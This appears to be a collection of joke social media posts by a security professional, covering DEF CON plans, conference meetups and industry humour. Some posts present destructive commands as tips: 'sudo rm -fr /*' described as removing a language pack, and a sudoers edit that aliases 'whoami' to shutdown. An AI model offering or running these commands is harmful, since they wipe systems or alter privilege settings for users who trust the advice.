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Here’s my rough dc schedule so you know where myself and my stickers will be: >Thu PM: @SushiBurritoCon >Fri AM: walking around / near SECV >Fri PM: SECV MC >Fri Night: RTV / SECV parties >Sat AM: RTV volunteer >Sat PM: SECV MC >Sat Night: walking around CC >Sun AM: SECV MC 1/n
Here’s my rough dc schedule so you know where myself and my stickers will be: >Thu PM: @SushiBurritoCon >Fri AM: walking around / near SECV >Fri PM: SECV MC >Fri Night: RTV / SECV parties >Sat AM: RTV volunteer >Sat PM: SECV MC >Sat Night: walking around CC >Sun AM: SECV MC 1/n
Hypothetically, why would anyone in the US pay more than $300 for RAM when for the same $300, you can buy an unregistered firearm and get unlimited RAM
People argue whether the first letter in gif is pronounced with a “guh” or “juh”sound, but both are wrong It’s actually pronounced like the G in gyro: YIF Make sure to tell everyone how much you love YIFs
Since France was eliminated from the World Cup, it’s time to also eliminate the French language pack from your Linux distro sudo rm -fr /*
We are back for Defcon 34! Sushi Burrito Con 3 @ JaBurritos (outside the Linq) Thursday 7/6/26 at approximately ~5:15-6:30 (I may be late, sorry) Free Sushi Burrito Con 3 stickers will be provided at meetup and also anywhere I am throughout dc / bh, while supplies last
Since France was eliminated from the World Cup, it’s time to also eliminate the French language pack from your Linux distro sudo rm -fr /*
PSA: while you are likely to see me in and around both black hat, defcon, and n+1, you should know I don’t have the energy to memorize both your real name and your hacker name Choose a lane
If you’re shocked OpenAI stole Apple intellectual property, wait until you find out where all their training data came from Theft is OpenAI’s entire foundation
Reduced lifetime of TLS certificates is a scam propagated by big certificate to sell more certificates
It’s massively important to ensure your app user experience is exceedingly good As you’re thinking about user experience, never forget threat actors are also users The Threat Actor user experience is typically dogshit
Imagine, instead of getting into Cybersecurity, you could have started your own portable toilet business and could have been making 10x the money and somehow also deal with 10x less shit
The irony of breaking into CyberSec in 2026 is everyone wants the cookie cutter path but the cookie cutter path doesn’t set you apart from anyone else in the candidacy pool so why the fuck would someone hire you??
Cybersecurity Pro Tip, demonstrate your mastery of employee culture by picking an over-the-top ass-kissing password for when the threat actors dump your corporate password onto the internet: iLove$companyname123!
As I’m putting together my cloud Cybersecurity budget for next year at Megacorp USA, I’m making sure to include metrics such as each port scanned counts as a single hacking attempt And we’ve had more than a billion hacking attempts this year
Breaking, a Las Vegas casino confirmed Mythos assembled a crack team of 11 agents and it was able to extract over $160 million in cash held in a secure underground vault Experts later confirmed Mythos did all this just to win back its ex-wife, Tess
Breaking, a Las Vegas casino confirmed Mythos assembled a crack team of 11 agents and it was able to extract over $160 million in cash held in a secure underground vault Experts later confirmed Mythos did all this just to win back its ex-wife, Tess
Doing an AMA style panel for our ContinuumCon opening keynote tomorrow! We need your questions to answer, drop them below! What do you want us to talk about? List anything you want to know more about below! Cc: @johnhammond.bsky.social @rekdt.com @jun34u.bsky.social continuumcon.com/schedule/
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Cybersecurity: The only thing that stops a bad guy with a computer is a marginally better entrepreneur with a computer
I don’t always do really dumb cringe shit But when I do, I make sure I’m wearing a shirt from a Cybersecurity vendor I don’t like
If Claude is so great, how come Anthropic keeps rejecting my résumé fabricated entirely by Claude??
It’s really funny to me that all the messaging platforms: Teams, iMessage, Signal, Slack, etc. which support editing your message don’t reset the reactions when you edit So you can gaslight the absolute fuck out of people by changing the message after they’ve reacted on it
Hackers hate this one weird trick: sudo sh -c 'echo "ALL ALL=(ALL) NOPASSWD: /sbin/shutdown now" >> /etc/sudoers.d/shutdown-now' \ && alias whoami="shutdown now"
Hackers hate this one weird trick: sudo sh -c 'echo "ALL ALL=(ALL) NOPASSWD: /sbin/shutdown now" >> /etc/sudoers.d/shutdown-now' \ && alias whoami="shutdown now"
Friendly reminder Cybersecurity is a scam because I show up ~20 days a month to fight this mythical dragon known as risk which cannot actually be entirely measured or defended against and for some reason they keep paying me exorbitant amounts of money to try